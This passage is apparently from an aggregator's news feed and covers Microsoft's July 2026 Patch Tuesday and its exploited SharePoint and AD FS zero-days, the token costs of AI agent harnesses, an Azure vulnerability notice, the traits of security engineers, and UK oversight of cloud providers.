Tuesday Fixes 622 Vulnerabilities, Two Under Active Attack 1"></p><span data-contrast="auto">Microsoft Patch Tuesday July 2026 delivered the company's largest security update to date, addressing 622 Microsoft CVEs, more than tripling the roughly 200 vulnerabilities patched in June. Among the fixes are two zero-day vulnerabilities—CVE-2026-56164 and CVE-2026-56155—that Microsoft confirmed are being actively exploited, making them the highest-priority updates in this month's release.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">According to Microsoft's July 2026 <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="Security" data-wpil-keyword-link="linked" data-wpil-monitor-id="28977">Security</a> Updates, the release includes patches across multiple product families. Windows accounts for the largest share with 416 <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="28976">vulnerabilities</a>, followed by Office with 82, Microsoft Edge with 46, Developer Tools with 27, SharePoint Server with 17, Azure with 11, SQL Server with eight, Defender and Exchange Server with five each, and four additional updates categorized under Other. Microsoft also republished 428 non-Microsoft Chromium CVEs.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Microsoft Patch Tuesday July 2026 Highlights Exploited Vulnerabilities</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">The two most significant flaws in <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul" target="_blank" rel="nofollow noopener">Microsoft Patch Tuesday July 2026</a> are CVE-2026-56164 and CVE-2026-56155, both elevation-of-privilege vulnerabilities affecting critical enterprise infrastructure.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">CVE-2026-56164 impacts on-premises Microsoft SharePoint Server and allows an unauthenticated attacker to elevate privileges remotely over the network without requiring credentials or user interaction. Microsoft said the vulnerability was discovered by Mandiant incident responders and Google's FLARE team, suggesting it was identified during <a href="https://thecyberexpress.com/french-police-raid-x-grok-investigations/" target="_blank" rel="noopener">investigations</a> into active attacks. However, the company has not disclosed how the flaw was exploited or who was responsible.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Microsoft also noted that enabling the Antimalware Scan Interface (AMSI) in Full Mode can help reduce the attack <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risk" data-wpil-keyword-link="linked" data-wpil-monitor-id="28978">risk</a>. The update arrives on the same day that SharePoint Server 2016 and SharePoint Server 2019 reach the end of extended support. Unlike Windows Server and SQL Server, these products do not have a paid Extended Security Updates (ESU) program. SharePoint has remained a frequent target since the ToolShell attack chain affected unpatched servers in 2025.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3><strong>The Second Vulnerability (CVE-2026-56155)</strong></h3>
<span data-contrast="auto">The second actively exploited <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="28975">vulnerability</a>, CVE-2026-56155, affects Active Directory Federation Services (AD FS). Microsoft said the flaw enables an authenticated attacker to elevate privileges locally because of weak access controls. </span>

<span data-contrast="auto">The company's Detection and Response Team (DART) reported the issue. While Microsoft has not disclosed the exact privileges attackers gained or how the vulnerability was used, AD FS plays a critical role by issuing authentication tokens across enterprise environments, increasing the potential impact of a successful attack.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Beyond these two zero-days, Microsoft identified CVE-2026-50661, a Windows BitLocker Security Feature Bypass vulnerability, as publicly known.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">As of publication, neither CVE-2026-56164 nor CVE-2026-56155 has been added to the U.S. Cybersecurity and Infrastructure Security Agency's <a href="https://thecyberexpress.com/cisa-cve-2026-48939-cve-2026-56291/" target="_blank" rel="noopener">Known Exploited Vulnerabilities (KEV) catalog</a>. However, Microsoft has already classified both as exploited through its own exploitability assessment. The company also assigned the SharePoint flaw a relatively low severity rating, highlighting that active exploitation should take precedence over severity scores when prioritizing remediation.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>]]></content:encoded>
</item>
<item>
<title><![CDATA[The hidden AI cost driver: Harness design can make or break enterprise agent economics]]></title>
<description><![CDATA[A largely overlooked layer of the AI stack is emerging as a major driver of enterprise costs. New testing by AI consultancy Systima found that agent harnesses, the software that coordinates models, tools and workflows, can generate significant token overhead through their configuration alone, pot...]]></description>
<link>https://tsecurity.de/de/3669948/it-nachrichten/the-hidden-ai-cost-driver-harness-design-can-make-or-break-enterprise-agent-economics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669948/it-nachrichten/the-hidden-ai-cost-driver-harness-design-can-make-or-break-enterprise-agent-economics/</guid>
<pubDate>Wed, 15 Jul 2026 10:03:51 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A largely overlooked layer of the AI stack is emerging as a major driver of enterprise costs. New testing by AI consultancy Systima found that agent harnesses, the software that coordinates models, tools and workflows, can generate significant token overhead through their configuration alone, potentially inflating the cost of AI deployments as organizations scale agents from experimental pilots to production environments.</p>



<p class="wp-block-paragraph">The firm, which ran a series of tests by juxtaposing two harnesses on the same tasks, namely Anthropic’s Claude Code and open-source OpenCode using the same Claude Sonnet 4.5 model underneath, found both exhibiting sharply different token overhead because of the differences in their configuration.</p>



<p class="wp-block-paragraph">These differences included system prompts, tool definitions, agent coordination mechanisms and other orchestration components, resulting in markedly different baseline input token overhead before users even entered a prompt, the consultancy firm wrote in a <a href="https://systima.ai/blog/claude-code-vs-opencode-token-overhead" target="_blank" rel="noreferrer noopener">blog post</a>.</p>



<p class="wp-block-paragraph">Separately, the firm also found that other configuration choices while setting up the harnesses such as repository instruction files, <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html" target="_blank">Model Context Protocol</a> (MCP) servers, prompt framework templates and subagents can each add substantial token overhead.</p>



<p class="wp-block-paragraph">The consultancy’s conclusions are also supported by emerging academic research examining how orchestration of the harnesses themselves, rather than optimizing models or changing them, can help enterprises reshape the economics around AI agents.</p>



<p class="wp-block-paragraph">In a <a href="https://arxiv.org/pdf/2607.06906" target="_blank" rel="noreferrer noopener">paper</a>, titled The Harness Effect: How Orchestration Design Sets the Token Economics of Enterprise Agentic AI, researchers showed that changing the harness while keeping models and tasks the same can reduce token consumption by 38%, cost per task by 41%, and execution time by 44% while maintaining comparable quality.</p>



<h2 class="wp-block-heading">Why enterprises overlook harness costs</h2>



<p class="wp-block-paragraph">Analysts say that enterprises can gain greater control over AI agent operating costs by paying closer attention to how their harnesses are configured and orchestrated, instead of just relying on model pricing as a yardstick.</p>



<p class="wp-block-paragraph">“The evaluation shows that the model is only one part of agent economics. The harness, tool schemas, instructions, MCP connections, and subagents matter as well. Enterprises therefore need to measure the entire agent configuration, not assume model pricing tells them what an agent will cost,” said <a href="https://www.linkedin.com/in/slwalter" target="_blank" rel="noreferrer noopener">Stephanie Walter</a>, practice lead of the AI stack at HyperFRAME Research.</p>



<p class="wp-block-paragraph">Currently, most enterprises pick agent tooling based on model quality, benchmarks, developer experience, and headline pricing per seat or per million tokens, with almost no one measuring what the harness sends per request, how stable the cache prefix is, or what subagent fan out costs at scale, echoed <a href="https://www.linkedin.com/in/advaitpatel93/" target="_blank" rel="noreferrer noopener">Advait Patel</a>, site reliability engineer at Broadcom.</p>



<p class="wp-block-paragraph">“Ask the average CIO whether their coding agent rewrites its cache mid-session, and you will get a blank stare,” Patel added.</p>



<p class="wp-block-paragraph">However, Ashish Chaturvedi, executive research leader at HFS Research, pointed out that lack of visibility is less a failure of enterprise leaders than a consequence of how AI agent ecosystem components are sold, stacked, and managed presently.</p>



<p class="wp-block-paragraph">“Most organizations have no visibility, mainly due to the absence of any metric from the vendor’s end that lets CIOs measure the entire agent or at least the harness configuration. None of this shows up in the developer’s experience. The agent just works, and the tokens burn silently in the background,” Chaturvedi said.</p>



<p class="wp-block-paragraph">The problem is further compounded, according to Chaturvedi, due to the manner in which AI agent configuration is distributed across enterprise teams.</p>



<p class="wp-block-paragraph">“The harness is chosen by one team, the instruction file written by another, and the MCP servers attached by a third, so no single person sees the cumulative weight,” Chaturvedi noted.</p>



<p class="wp-block-paragraph">Even when, in some cases, enterprises do have visibility and ownership, Patel argued, the industry, in general, still lack the operational maturity and discipline to systematically optimize AI agent costs.</p>



<p class="wp-block-paragraph">“FinOps for agents is where cloud FinOps was in 2013. Nobody has hired the equivalent of a cost optimization team focused on prompt engineering, harness configuration, and cache stability,” Patel said.</p>



<p class="wp-block-paragraph">Separately, <a href="https://www.linkedin.com/in/abhisekhsatapathy/" target="_blank" rel="noreferrer noopener">Abhishek Satapathy</a>, principal analyst at Avasant, pointed out that the invisibility issue stems from how enterprises evaluate AI agents before deploying them into production: “Most proof-of-concepts involve a limited number of users, relatively short-lived sessions, and controlled agentic interactions, where the accuracy of model output is the primary evaluation criterion.”</p>



<p class="wp-block-paragraph">The analysts’ comments also echo the conclusions of another research <a href="https://arxiv.org/pdf/2601.14470" target="_blank" rel="noreferrer noopener">paper</a>,  in which researchers argued that token consumption in agentic software engineering systems remains poorly understood because existing metrics provide limited visibility into where tokens are spent across orchestration components.</p>



<h2 class="wp-block-heading">How CIOs can improve visibility into AI agent costs</h2>



<p class="wp-block-paragraph">Closing that visibility gap, though, according to Satapathy, is increasingly becoming a priority for enterprises, as AI agents move from pilots to production and operating costs become harder to predict.</p>



<p class="wp-block-paragraph">“Across our advisory engagements, we are seeing growing demand for AI observability frameworks that combine runtime tracing, workload-level cost attribution, and execution analytics. This enables organizations to establish engineering baselines, benchmark workload efficiency, forecast AI operating costs, and continuously optimize agent performance as deployments mature,” Satapathy said.</p>



<p class="wp-block-paragraph">However, until vendors provide more comprehensive visibility into harness-level token consumption, analysts said enterprises should begin treating harness configuration as an operational governance issue rather than merely a developer preference.</p>



<p class="wp-block-paragraph">“The single most valuable move is to get visibility into what the harness actually sends. Enterprises should treat configuration as a governed cost decision, deliberately match harnesses to workloads, and closely monitor cache behavior and subagent fan-out, since those were among the biggest cost multipliers identified in the evaluation,” Chaturvedi said.</p>



<p class="wp-block-paragraph">Walter echoed that recommendation, saying CIOs should require observability across the entire agent configuration: “Without that visibility, enterprises are effectively buying an agent platform without knowing how much of the bill comes from useful work versus orchestration overhead.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[[NEU] [hoch] Microsoft Azure: Mehrere Schwachstellen]]></title>
<description><![CDATA[Ein Angreifer kann mehrere Schwachstellen in verschiedenen Microsoft Azure Komponenten ausnutzen, um seine Privilegien zu erhöhen und um einen Denial of Service Angriff durchzuführen.]]></description>
<link>https://tsecurity.de/de/3669928/it-security-nachrichten/neu-hoch-microsoft-azure-mehrere-schwachstellen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669928/it-security-nachrichten/neu-hoch-microsoft-azure-mehrere-schwachstellen/</guid>
<pubDate>Wed, 15 Jul 2026 09:53:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ein Angreifer kann mehrere Schwachstellen in verschiedenen Microsoft Azure Komponenten ausnutzen, um seine Privilegien zu erhöhen und um einen Denial of Service Angriff durchzuführen.]]></content:encoded>
</item>
<item>
<title><![CDATA[7 skills and traits of elite security engineers]]></title>
<description><![CDATA[Security engineers play a pivotal role in enterprise cybersecurity, because they are the professionals who design, build, and deploy security systems to protect an organization’s data, applications, systems, networks, and other IT components against a variety of cyber threats.



Finding not just...]]></description>
<link>https://tsecurity.de/de/3669835/it-security-nachrichten/7-skills-and-traits-of-elite-security-engineers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669835/it-security-nachrichten/7-skills-and-traits-of-elite-security-engineers/</guid>
<pubDate>Wed, 15 Jul 2026 09:08:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Security engineers play a pivotal role in enterprise cybersecurity, because they are the professionals who design, build, and deploy security systems to protect an organization’s data, applications, systems, networks, and other IT components against a variety of cyber threats.</p>



<p class="wp-block-paragraph">Finding not just qualified security engineers, but the best and brightest available, needs to be a priority for CISOs and others overseeing security at their organizations. That’s especially true with the rapid rise of AI and the threats that brings to the enterprise.</p>



<p class="wp-block-paragraph">Here are some of the key skills and traits of elite security engineers to look for when hiring — or to acquire in order to uplevel your cybersecurity career.</p>



<h2 class="wp-block-heading">Acumen with AI-powered tools</h2>



<p class="wp-block-paragraph">These days, AI-related skills are in demand regardless of domain, and this certainly applies to security engineers. There’s a wealth of solutions leveraging AI in the market, tools that engineers can add to their defense arsenal.</p>



<p class="wp-block-paragraph">“AI is transforming security engineering from reactive alerting to predictive threat detection,” says Praveen Margabandhu, digital engineering anchor at financial services firm Navy Federal Credit Union. “AI-driven anomaly detection now identifies behavioral patterns that indicate fraud or compromise before traditional threshold-based systems would fire. This shifts the security engineer’s role from incident responder to threat model designer.”</p>



<p class="wp-block-paragraph">AI-powered tools have taken over a large portion of the detection and triage work that used to be the core of a security engineer’s day, says Maruf Ahmed, cofounder and CEO of global tech staffing firm Dexian. “Vulnerability scanning runs on its own now,” he says. “Threat flagging that used to require a team pulling through logs for hours happens in minutes.”</p>



<p class="wp-block-paragraph">This has freed up capacity on most security teams and changed what the day-to-day work looks like, Ahmed says. “With detection increasingly automated, the engineer’s value sits more in interpreting what gets flagged and deciding what to do about it,” he says.</p>



<h2 class="wp-block-heading">Keen understanding of emerging and established AI threats</h2>



<p class="wp-block-paragraph">Engineers must also have a thorough understanding of the risks AI presents, including <strong><a href="https://www.csoonline.com/article/4154222/6-ways-attackers-abuse-ai-services-to-hack-your-business.html">AI-enhanced cyberattacks</a> using</strong><strong> </strong>large language models (LLMs) to automate and scale <a href="https://www.csoonline.com/article/3819176/top-5-ways-attackers-use-generative-ai-to-exploit-your-systems.html">highly personalized social engineering attacks</a>, craft sophisticated malware, and generate deepfakes.</p>



<p class="wp-block-paragraph">Other <a href="https://www.csoonline.com/article/4110008/top-cyber-threats-to-your-ai-systems-and-infrastructure.html">AI threats they need to be aware of</a> include prompt injections, data and model poisoning, disclosure of sensitive information, model theft, supply chain compromises, and excessive agency.</p>



<p class="wp-block-paragraph">“The same generative tools that help security teams work faster are available to adversaries, and it shows,” Ahmed says. “Phishing campaigns read better and land more precisely than they did a year ago. Social engineering is harder to catch when the language is polished and tailored to the target, and security engineers are now defending against threats built with the same class of technology they use on the defensive side.”</p>



<p class="wp-block-paragraph">That has raised the bar for what reliable detection looks like, Ahmed says. “The objective shift I hear most from clients is about trust in their own systems,” he says. “Two years ago, the priority was visibility — making sure you could see across your environment. Most organizations have that now. The harder problem is knowing whether what those tools are telling you holds up under scrutiny and having people on the team who can stand behind those findings in front of a regulator or a board.”</p>



<h2 class="wp-block-heading">Appreciation of performance and business goals</h2>



<p class="wp-block-paragraph">The best security engineers understand how performance and security intersect, says Margabandhu, who leads performance engineering across Navy Federal Credit Union’s digital banking infrastructure, including real-time fraud detection, identity and access management, and cybersecurity infrastructure resilience.</p>



<p class="wp-block-paragraph">“A fraud detection system that is secure but too slow to catch transactions in real-time is not secure at all,” Margabandhu says. “Elite engineers optimize for both simultaneously.”</p>



<p class="wp-block-paragraph">Engineers must be able to put things in business context, Ahmed says. “An engineer who can work across domains, validate AI outputs, and learn new tools fast is valuable. But that value compounds when the person also understands what the organization is trying to protect and why,” he says.</p>



<p class="wp-block-paragraph">Security engineers who understand the business make better risk decisions, write more effective policies, and generate less friction with the teams around them, Ahmed says. “That is the profile employers are hiring toward right now, and it is where the talent shortage is most pronounced,” he says.</p>



<h2 class="wp-block-heading">Systems mindset</h2>



<p class="wp-block-paragraph">“One of the biggest misconceptions in cybersecurity hiring is that elite security engineers are defined purely by technical certifications or tool familiarity,” says Juan Mathews Rebello Santos, an independent cybersecurity researcher and ethical hacker.</p>



<p class="wp-block-paragraph">“Technical skill absolutely matters, but the strongest engineers I’ve worked with consistently share a combination of analytical thinking, operational adaptability, communication ability, and deep systems understanding,” Santos says.</p>



<p class="wp-block-paragraph">Elite security engineers understand how infrastructure, cloud services, identity systems, applications, APIs, networks, users, and business operations connect, Santos says.</p>



<p class="wp-block-paragraph">“Modern attacks rarely target a single isolated component anymore,” he says. “Threat actors chain together weaknesses across environments. Engineers who can understand those relationships holistically are significantly more effective at both prevention and incident response.”</p>



<h2 class="wp-block-heading">Cross-disciplinary fluency and broad stack know-how</h2>



<p class="wp-block-paragraph">Being an elite software engineer today means having a range of technology experience and knowledge. “Organizations want engineers who can work across more of the stack than they used to,” Ahmed says. “A role that might have asked for deep specialization in one area now expects someone who can move between cloud infrastructure, application security, and compliance without needing a handoff at every boundary.”</p>



<p class="wp-block-paragraph">The attack surface has continued to get wider, and the job descriptions for security engineers has followed suit. “That cross-domain fluency matters because security incidents rarely stay contained in one layer,” Ahmed says. “The engineer who can follow a problem from the network through the application to the data governance framework resolves it faster, with fewer people involved.”</p>



<p class="wp-block-paragraph">The strongest security engineers bridge infrastructure, application, and business domains, Margabandhu says. “They can speak to a CISO, a developer, and a cloud architect in the same conversation,” he says. “An engineer who can explain what an authentication problem means for fraud exposure moves faster in a room full of executives than one who can only describe it in infrastructure terms. I’ve watched technically brilliant people lose that race repeatedly.”<br><br></p>



<p class="wp-block-paragraph">Having the ability to communicate technical risk clearly to non-technical leadership can mean the difference between success and failure of attacks.</p>



<p class="wp-block-paragraph">“Many security failures today are not caused by lack of tooling, but by misalignment between technical teams and business decision-makers,” Santos says. “Elite engineers can explain operational risk, prioritization, and security tradeoffs in language executives understand.”</p>



<h2 class="wp-block-heading">Deep understanding of third-party risk and non-human threats</h2>



<p class="wp-block-paragraph">Threats can come from anywhere, including supply chains and non-human combatants. Third-party cybersecurity risks are on the rise. The 2026 Global CISO Leadership Report by executive search firm Hitch Partners, based on a survey of more than 625 information security executives across the US and Canada, says 43% put third-party risks as the No. 1 priority.</p>



<p class="wp-block-paragraph">“Most teams are still better at securing what they own than securing what they depend on,” Margabandhu says. “The mental shift from perimeter thinking to dependency thinking is real and not everyone has made it. The engineers who treat <a href="https://www.csoonline.com/article/4148315/apis-are-the-new-perimeter-heres-how-cisos-are-securing-them.html">every API call</a>, every credentialed vendor, every third-party model as part of their attack surface approach design differently.”</p>



<p class="wp-block-paragraph">Another growing source of potential threats are not human. <a href="https://www.csoonline.com/article/2132294/what-are-non-human-identities-and-why-do-they-matter.html">Machine identities</a> now outnumber human identities by ratios exceeding 100 to 1 in most enterprise environments, with some sectors closer to 500 to 1, according to the ManageEngine Identity Security Outlook 2026 report.</p>



<p class="wp-block-paragraph">This includes service accounts, API keys, automation tokens, and AI agents, any one of which can present data governance and security risks.</p>



<p class="wp-block-paragraph">Many organizations are still managing machine identities through manual processes that weren’t designed for scale, Margabandhu says. “Engineers who understand non-human identity governance are rare and increasingly important. This is not a future problem.”<br><br></p>



<h2 class="wp-block-heading">Willingness to keep learning</h2>



<p class="wp-block-paragraph">Security engineers need to have a desire to never stopped learning.</p>



<p class="wp-block-paragraph">“That sounds obvious until you work with people who’ve been doing this for 15 years and are still operating from the same threat models they built in 2012,” Margabandhu says. “Security changes fast enough that standing still is the same as going backwards.”</p>



<p class="wp-block-paragraph">The security engineers who keep up aren’t reading one report a year. “They’re genuinely curious about what attackers are doing right now, this month, and they adjust how they think accordingly,” Margabandhu says. “That quality is harder to hire for than most technical skills, because it’s not on a resume.”<br><br></p>



<p class="wp-block-paragraph">With AI presenting new and more sophisticated threats, keeping up with the latest developments is perhaps more important than ever. “Strong engineers are naturally investigative,” Santos says. “They actively study attack techniques, test assumptions, reverse engineer failures, and continuously adapt their understanding of risk.”</p>



<p class="wp-block-paragraph">The best security engineers are often the people who remain intellectually uncomfortable because they know the landscape is always evolving, Santos says.</p>



<p class="wp-block-paragraph">Employers have started paying closer attention to how fast someone can learn, Ahmed says. “The threat landscape and the defensive toolkit are both moving faster than any certification program can track, so hiring managers are probing for adaptability in interviews: how candidates have responded to recent shifts, whether they have picked up unfamiliar platforms on their own, how they work through problems they have not seen before,” he says.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AWS, Azure and Google Cloud Are Now Under Direct UK Oversight]]></title>
<description><![CDATA[For years, the uncomfortable truth sitting underneath the UK's financial system has been this: a handful of cloud providers quietly underpin almost everything. Your bank, your insurer, your payment processor. Scratch beneath the surface and you'll find the same two or three names running the infr...]]></description>
<link>https://tsecurity.de/de/3669801/it-security-nachrichten/aws-azure-and-google-cloud-are-now-under-direct-uk-oversight/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669801/it-security-nachrichten/aws-azure-and-google-cloud-are-now-under-direct-uk-oversight/</guid>
<pubDate>Wed, 15 Jul 2026 08:52:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="hs-featured-image-wrapper"> 
 <a href="https://www.cm-alliance.com/cybersecurity-blog/aws-azure-and-google-cloud-are-now-under-direct-uk-oversight" title="" class="hs-featured-image-link"> <img src="https://www.cm-alliance.com/hubfs/Boardroom_Discussion_on_Third_Party_Regulation_with_bgc.webp" alt="UK's Critical Third Parties Regime" class="hs-featured-image"> </a> 
</div> 
<p>For years, the uncomfortable truth sitting underneath the UK's financial system has been this: a handful of cloud providers quietly underpin almost everything. Your bank, your insurer, your payment processor. Scratch beneath the surface and you'll find the same two or three names running the infrastructure. When one of them stumbles, the tremor is felt everywhere. </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Patch Tuesday - July 2026]]></title>
<description><![CDATA[Microsoft is publishing 622 vulnerabilities on July 2026 Patch Tuesday, including a record-breaking 416 Windows vulnerabilities. Microsoft is aware of exploitation in the wild for two of the vulnerabilities published today, both of which are listed on CISA KEV, as well as public disclosure for on...]]></description>
<link>https://tsecurity.de/de/3669204/it-security-nachrichten/patch-tuesday-july-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669204/it-security-nachrichten/patch-tuesday-july-2026/</guid>
<pubDate>Wed, 15 Jul 2026 00:23:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>Microsoft is publishing 622 vulnerabilities on </span><a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul"><span>July 2026 Patch Tuesday</span></a><span>, including a record-breaking 416 Windows vulnerabilities. Microsoft is aware of exploitation in the wild for two of the vulnerabilities published today, both of which are listed on CISA KEV, as well as public disclosure for one other. As usual, browser vulns are not included in the Patch Tuesday count above. Rapid7 </span><a href="https://www.rapid7.com/blog/post/em-patch-tuesday-june-2026/"><span>noted</span></a><span> last month that Microsoft no longer enumerates Chromium CVEs in the Security Update Guide. However, Microsoft has now taken the pursuit of minimalism much further, since today’s Security Update Guide no longer lists out even Microsoft vulnerabilities! Instead, we now receive a summary table of vulnerability counts by product family, as well as a new slimline “Notable CVEs” section. All of this only serves to illustrate the recent industry-wide trend of exploding vulnerability report counts, with an associated uptick in the publication of remediations as a trailing indicator.</span></p><h3><span>SharePoint: critical auth bypass by Rapid7</span></h3><p><span>Today sees the publication of </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-55040"><span>CVE-2026-55040</span></a><span>, a critical authentication bypass in Microsoft SharePoint. </span><a href="https://www.rapid7.com/blog/post/ve-cve-2026-55040-microsoft-sharepoint-jwt-token-authentication-bypass-fixed/"><span>Discovered by Rapid7 Senior Principal Security Researcher Stephen Fewer</span></a><span>, and published today in coordination with Microsoft, this vulnerability is the first in a pair of exploits which, when chained together, can lead to unauthenticated remote code execution against a vulnerable SharePoint server. Patches are available for SharePoint Server Subscription Edition, 2019, and 2016. As the full </span><a href="https://www.rapid7.com/blog/post/ve-cve-2026-55040-microsoft-sharepoint-jwt-token-authentication-bypass-fixed/"><span>Rapid7 blog post</span></a><span> sets out, the second vulnerability in the full RCE chain remains embargoed for now, with Microsoft expected to publish patches for that second vulnerability as part of Patch Tuesday August 2026. Microsoft noted: “We would like to thank Rapid7 for responsibly reporting this issue through coordinated vulnerability disclosure.”</span></p><h3><span>SharePoint: zero-day EoP</span></h3><p><span>It’s a rare Patch Tuesday which doesn’t include multiple SharePoint fixes, and today is no exception. Microsoft is aware of existing in-the-wild exploitation of </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-56164"><span>CVE-2026-56164</span></a><span>, where successful exploitation allows an attacker to elevate privileges over a network, with no existing privileges required, and low attack complexity since “an attacker does not require significant prior knowledge of the system, and can achieve repeatable success”. This is as good an example as any that a relatively low CVSS v3 base score (5.3) may be an imperfect signal concealing something much spicier, and Microsoft acknowledges that possibility by assigning a severity rating of Important. Microsoft certainly intended to list CVE-2026-56164 in the new Notable CVEs section of the Security Update Guide instead of erroneously listing CVE-2026-56155 twice, and it’s likely that this will be corrected shortly.</span></p><h3><span>What’s the opposite of coordinated disclosure?</span></h3><p><span>After years of relative stability, the Patch Tuesday process has experienced significant turbulence so far in 2026. As well as the AI-fuelled exponential growth of vulnerability reporting and discovery, Microsoft is grappling with the emergence of a series of vulnerabilities disclosed in such a way as to </span><a href="https://www.rapid7.com/blog/post/em-patch-tuesday-june-2026/#what-s-the-opposite-of-coordinated-disclosure"><span>bring maximum discomfort for Redmond</span></a><span>. Pseudonymous researcher Nightmare Eclipse dropped another Defender elevation of privilege vulnerability in the hours following Patch Tuesday June 2026, which Microsoft subsequently published and patched as </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-50656"><span>CVE-2026-50656</span></a><span>, along with a terse acknowledgement of the vulnerability’s celebrity nickname of RoguePlanet. Recently, Nightmare Eclipse has given conflicting estimates of what sort of surprises Microsoft can expect today, as well as claiming that the CVE-2026-50656 patches introduce a new avenue for a disk exhaustion attack. Today,  a new proof of concept for a further vulnerability nicknamed LegacyHive has emerged from the same source, which appears to allow a non-privileged user to mount another user’s user hive.</span></p><p><span>Microsoft BitLocker receives patches today for a publicly-known security feature bypass vulnerability. The advisory for </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-50661"><span>CVE-2026-50661</span></a><span> explains that an unauthorized attacker with physical access to the target machine can bypass Windows BitLocker. While Microsoft doesn’t confirm either way, it’s very probable that this is a patch for the GreatXML vulnerability which Nightmare Eclipse announced the day after Patch Tuesday June 2026.</span></p><h3><span>Active Directory Federation Services: zero-day EoP</span></h3><p><span>Active Directory administrators should note the emergence today of </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-56155"><span>CVE-2026-56155</span></a><span>, an exploited-in-the-wild elevation of privilege vulnerability in Active Directory Federation Services which allows an authorized attacker to elevate privileges locally. Eight other vulnerabilities are also published today in Active Directory Federation Services, all ranked as Important on Microsoft’s proprietary severity ranking scale. The advisory doesn’t explicitly describe the location of the attacker, but it’s likely that an attacker would need an existing toehold on the target system to chain together with the elevation of privilege opportunity on offer here.</span></p><h3><span>Age of Empires II: RCE</span></h3><p><span>Historically, Patch Tuesday hasn’t seen too many security patches for video games. However, Age of Empires II: Definitive Edition is a new entrant to the Microsoft CVE roster today. Veteran AoE2 players may well be familiar with dangerous opposition early game strategies such as the Persian Town Center nuisance or the Aztec monk rush, but anyone who opens a malicious game scenario file without applying the patch for </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-50663"><span>CVE-2026-50663</span></a><span> might suffer a serious defeat. Successful exploitation allows an attacker to place malicious files in unexpected locations, potentially enabling code execution on the target system.</span></p><h3><span>Microsoft lifecycle update</span></h3><p><span>As Rapid7 noted last month, there are some significant Microsoft product lifecycle changes taking place in mid-July. </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/sql-server-2016?branch=live"><span>SQL Server 2016</span></a><span> moves beyond regular extended support and into the pay-to-play Extended Security Updates (ESU) phase from July 15, 2026, and its older sibling </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/sql-server-2014"><span>SQL Server 2014</span></a><span> moves into the third and final year of ESU. Also on July 14, 2026, SharePoint Server </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2016?branch=live"><span>2016</span></a><span> and </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2019?branch=live"><span>2019</span></a><span> reach extended end date, and since there’s no ESU available, the only remaining option for fully-supported self-hosted SharePoint after today is SharePoint Subscription Edition. The July 2026 lifecycle casualties continue with Project Server </span><a 